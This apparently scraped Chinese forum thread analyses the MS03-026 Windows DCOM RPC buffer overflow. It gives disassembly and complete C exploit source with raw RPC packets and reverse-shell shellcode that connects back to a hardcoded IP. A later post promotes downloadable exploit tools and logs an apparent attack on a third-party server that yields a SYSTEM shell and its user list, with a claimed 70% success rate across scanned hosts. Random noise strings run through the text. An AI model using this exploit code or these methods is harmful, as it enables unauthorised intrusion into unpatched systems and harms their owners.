LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 1 A0 G+ B' N# J+ DWWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM % |$ p' ]. Y& z. O: N3 C/ K邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 8 c( W8 w8 |6 A) C; h4 i5 |邮件：benjurry@xfocus.org " `, G& p# K( F+ A( w LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); # b. w. R! r8 l! |这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 4 ~& m/ U8 {& \$ Q$ b在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： .text:761543DA push ebp .text:761543DB mov ebp, esp ( M, }+ Z# L, Q.text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] 5 [, `' e1 `, C5 X0 L.text:761543E3 push ebx .text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] + z( y! q- F$ [.text:761543E8 push edi .text:761543E9 push 5Ch .text:761543EB pop ebx " l3 \% L# v/ |- i6 P, b.text:761543EC mov [eax], esi " x; q6 ~0 O2 G, x( H' P; I.text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi % t" a( W, T U. q.text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF .text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 4 c/ Q/ I* ~) Q3 L! K.text:76154406 push 0 C# P& t( W( V8 K5 D.text:76154408 push eax ; _& t! W# ]1 l- ^6 h0 D$ I! p0 s.text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 % N- c$ q- k/ g / X- H# t- Y# z6 H6 wGetMachineName: , X) O* _! a) h* g- s.text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] .text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] ; C" ~9 \7 d1 H# Q" _1 u.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C " T7 A& j; U _1 l# Y% T.text:7614DB80 jz short loc_7614DB93 - u6 T J/ e: q3 ?' S5 @- H.text:7614DB82 sub edx, ecx .text:7614DB84 , Z' @ z. B* l- |. W.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j ! C Y$ }% T! m/ n2 C' Y.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 2 r: z# K/ [5 R8 ^3 L& {# @.text:7614DB87 inc ecx ! L$ J- p) o; P5 B.text:7614DB88 inc ecx " N2 B e; b S9 H2 z. z.text:7614DB89 mov ax, [ecx+edx] : L: T+ h& l- \4 w* l/ f" _; @% {.text:7614DB8D cmp ax, 5Ch ' _# f. O( v( T+ z.text:7614DB91 jnz short loc_7614DB84 % ^# e+ |1 n' Y9 Q% [, S, o.text:7614DB93 OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 : N& ]3 w I' @3 }需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 % V. W* K6 z3 }( U6 t计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include 2 j$ t5 x6 M) w* G4 z- t9 x#include % a3 ]2 U' A7 L#include #include + Q6 i; R& `0 p; K#include : p; h+ ?) ?, M; t#include unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, % q& K. o. e; }6 a( n0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, $ Q; f9 v' ^) G, S0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; " D8 B. \4 R) w8 y1 ?' runsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 + r! A3 Y9 y' C; j' z0 }! R,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ; h$ {; u: V& q5 U,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ! j2 ]" O8 L, Q+ ]) v2 B( u,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 7 y9 B, s+ P. m,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 & Q" [2 D* E5 d$ E* T,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ( Q6 o& l: O: Z$ f: I,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 . L6 @% o" y! _' F( T: B,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ' n2 F r& B! [,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 7 s' \9 w0 L; A1 k,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ( o/ t1 V1 \) C6 m9 r,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 / b0 W" I& O9 },0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 , \$ s' L; }, m1 A2 C0 a,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 3 ~; T7 U, m, {,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 2 ~1 J) |$ g. u8 p; m: ]/ J1 W,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 # L p* n. j# p! W: l/ },0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 & v. x1 f: i2 F" },0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 6 C+ x3 f% K# U# l,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 N9 z* e! F7 b0 D0 d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 % U. B0 E! p6 h3 P s: I5 M* n4 a,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 # r- I, l' \/ n" K. h,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ' [ O* F) `+ k8 X5 f,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 % o$ z" D% }/ k" V,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 $ A6 N& [% R' t) Z0 T1 K. F3 \$ h,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 9 U8 G8 c/ F* H' ]. j/ V5 }9 m I0 y. E,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 % h4 ?! P7 h" X6 y9 ~2 [( W* a4 b/ ?,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 E8 F2 K. {- A8 M: v,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 d& X6 T+ ^+ z1 W4 `5 R; l- g9 C. f,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 2 d& V$ u$ i5 m2 M8 R,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 0 v' i# B- ]7 U% K4 `8 d,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 2 Y! W& f( W/ Q,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 4 o2 N8 q: @1 J1 Q' C' ?; K F/ b,0x00,0x00,0x00,0x00,0x00,0x00}; ; f% Y9 A& Y1 } , u9 w6 v) N4 O! @9 f( o/ Vunsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; ' Q1 a9 W* f5 b( o ]/ a unsigned char request3[]={ # p/ x* r9 p! t8 K0x5C,0x00 + L, j5 o3 r5 ~* s,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" * h! V# j% @' N6 ]: y8 @( _"\x46\x00\x58\x00" 4 F# F8 f% ~2 `! e: l; v0 y; f" P2 h7 L"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 % {' q* m( Y( e% u( q( z2 F//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 ) l, P6 u7 V- U" k//SHELLCODE不存在0X00，0X00与0X5C & ^5 i3 B7 D: ~* o, ^8 O2 c"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" ) S; h/ }8 M" v"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" # p* x) k: F7 F1 Z5 M8 @/ X"\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" . O& a, {% w: F* p( {! ~3 ^"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" * \4 i( U( d0 B3 Q"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" ! G* \9 [, ]4 \1 W"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" * R4 S) Q5 s) x" m7 Y"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" ' t0 g5 _0 O" B7 T6 J0 S/ \"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" 9 x( w+ u# q% ]" ~"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" 0 f# b: q% m! A"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" 7 |( N; |6 H; T+ |* u/ E4 Q& W o"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" 7 H+ {& ^8 I5 `1 e"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" / h! ~, y# m- O( l" V7 v"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" 3 ^3 v/ {+ @2 R"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" " r; D8 W* K( ]6 F"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" * B, y- t# r9 ^* i2 E"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" ' [$ y+ N3 |# a3 G; @% P"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" ( l+ X- z" o8 Y, A. `" p"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" 5 K: W) j* p0 |$ m2 Z, Y' F) H"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" & c( V6 _0 W' M, v5 z"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; $ E. u2 ]1 T2 J2 S; d( Z y. m2 [* I( V unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 / a4 t+ b/ v0 v,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C 2 F: V# \2 w; A9 G w1 {4 V' H,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; . U F, p& F/ z2 m ! Z d7 w4 h w* M6 ?7 R4 {/ Xvoid main(int argc,char ** argv) { & I0 z5 P' C8 i" G. b5 dWSADATA WSAData; SOCKET sock; 9 M; d9 n( Q: E: E( c; I% Y" {int len,len1; # x. T1 f! S3 TSOCKADDR_IN addr_in; short port=135; 2 z5 Z& T" ]. E. o3 xunsigned char buf1[0x1000]; unsigned char buf2[0x1000]; 3 v8 o5 e0 h8 p% }unsigned short port1; 7 i" K9 R" S/ V. mDWORD cb; 1 S0 T& y. J/ C' b if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) 2 |! V6 U6 H/ O1 b* S- e{ printf("WSAStartup error.Error:%d\n",WSAGetLastError()); 3 s: v3 y5 ^# k% I( nreturn; } 2 S t, a7 @5 ` q5 F1 b+ k0 [1 g1 `addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); 3 a+ o, E. k; N+ X+ r# jif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) ) n1 g, E% \: F" I' q3 ~{ " K7 I/ v# m9 _" Y4 P- Oprintf("Socket failed.Error:%d\n",WSAGetLastError()); return; 5 {8 {3 Y2 {0 G- E6 w} / u# `' S! ^8 y: {7 A7 v4 Oif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; } 4 ~7 @7 k3 S8 s3 f% ~3 qport1 = htons (2300); //反向连接的端口 port1 ^= 0x9393; ! s a( L% k" B) w6 K6 Ccb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; % N' Z" ^. [$ }/ ^/ M( r$ h*(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); 7 h8 x7 M# g' {" i; G) Ylen1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); # m# U X) k' O$ H# W& I/ mlen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); ! Q0 ~8 e) }' Y, S5 pmemcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); ; v" O N; g. _7 R: t- o* L, {*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; //计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; 3 q, U7 D. { A5 t*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; - i( l9 b) r8 b( `9 R5 V*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; " M8 F" E$ w9 b/ A+ ?( {7 L*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) $ X) d+ z% q$ a1 t6 ]{ ; L4 M4 ^0 Z7 {! h7 R% N; jprintf("Send failed.Error:%d\n",WSAGetLastError()); % X0 I: u2 t" N4 b6 ?return; ' k: T* `9 r; T" q# z8 ^ e4 Q} * E- q3 I+ P) Y; D4 k 0 O7 A2 U2 N2 W* s# ~' x/ Blen=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) W! G& M' N% k$ P{ printf("Send failed.Error:%d\n",WSAGetLastError()); return; } len=recv(sock,buf1,1024,NULL); } ) M% M( E; l: C+ w0 Y `: w补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 ) X r7 k+ n R5 z, M) echdcom针对以下版本: # U3 p6 |/ M6 i$ T- 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) # e+ w* ~: Y3 Z+ B- 2 Windows 2000 SP4 (cn) . r4 E; L9 t" Y+ I& r- 3 Windows 2000 SP3 (english) 7 e7 F) i) }. ^7 P" z. ?- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: chdcom cedcom针对以下版本: - 0 Windows 2000 SP0 (english) 2 k$ m, B) G9 W0 R1 d- 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) - 3 Windows 2000 SP3 (english) ! D0 P5 B8 }7 X' o; _" j, _( Z- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) * c# F6 c0 Y4 x# O# D; N. v- 6 Windows XP SP1 (english) + Y7 T. u5 u3 |% _Usage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 6 w# r1 Q2 z9 c, C我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， ( d8 f f8 h& x% h8 p9 d, R! m 0 N0 n3 O. {- j8 ~比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 --------------------------------------------------------- & f$ |2 P& x# u% L* ]4 E- Remote DCOM RPC Buffer Overflow Exploit & n# R4 a6 T+ a7 X/ [$ t! Y) A; d- Original code by FlashSky and Benjurry * ]$ C8 @% y6 M$ s6 E- Rewritten by HDM last - last by nic 2 T& \9 @ g/ C# O-Compiled and recorrected by pingker! 5 r4 ]2 {! R/ h- Using return address of 0x77f92a9b - Dropping to System Shell... Microsoft Windows 2000 [Version 5.00.2195] % n! J1 v" ~: I5 D( r(C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> 0 ]' o3 x- `% Y) q$ H成功溢出. C:\WINNT\system32>net user net user + {, n& c! f( `/ x' ~8 S4 wUser accounts for \ 3 m' H. z a: _2 }3 }---------------------------------------------------------------------------- --- ( O/ H/ C# @. M# c5 mAdministrator ASPNET billbishopcom ' m% y, }6 d3 d' k! odivyanshu ebuyjunction edynamic1 / ^$ D9 O+ ~0 w! S8 S# M, nedynamic2 Guest infinityaspnet & L+ F X# ?; n) H! ~' A# \infinityinformations IUSR_DIALTONE IUSR_NS1 0 m: } G! J, t; VIWAM_DIALTONE IWAM_NS1 SQLDebugger 2 W' t1 z% \7 r2 Z7 STsInternetUser WO The command completed with one or more errors. 5 y) X# x' n9 R9 @! t& R! V$ L这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. 3 n& O' k. `' ?+ e再次警告:不要对付国内主机!!!!!后果自负!!!! " e6 c3 W& B# u5 L/ t" v) Y4 Y. g2 r+ WXDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：
/ q" f6 I# g) U$ w3 i8 g$ Y3 _
http://microsoft.com/downloads/d ... &displaylang=en

Windows NT 4.0 Terminal Server Edition：
5 K% p1 J1 w& i& R5 z3 D
2 S5 r9 r3 h4 B' {9 @  e! G" khttp://microsoft.com/downloads/d ... &displaylang=en
- @+ z$ }1 o6 t9 f3 X  ]; E
7 y6 C" _4 D9 B) S; u9 QWindows 2000：

http://microsoft.com/downloads/d ... &displaylang=en
: i: p6 U7 T" R0 I（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
( }: B2 T9 D" N5 W8 U  S2 A
Windows XP 32 bit Edition ：
! n% P/ T  u0 M
http://microsoft.com/downloads/d ... &displaylang=en
* p5 o% n* T5 f7 x
Windows XP 64 bit Edition：
) _* a/ e! i" x6 c0 v9 o4 y4 N
# |& N& U8 R+ ~7 F$ G$ X9 _0 Qhttp://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 32 bit Edition：
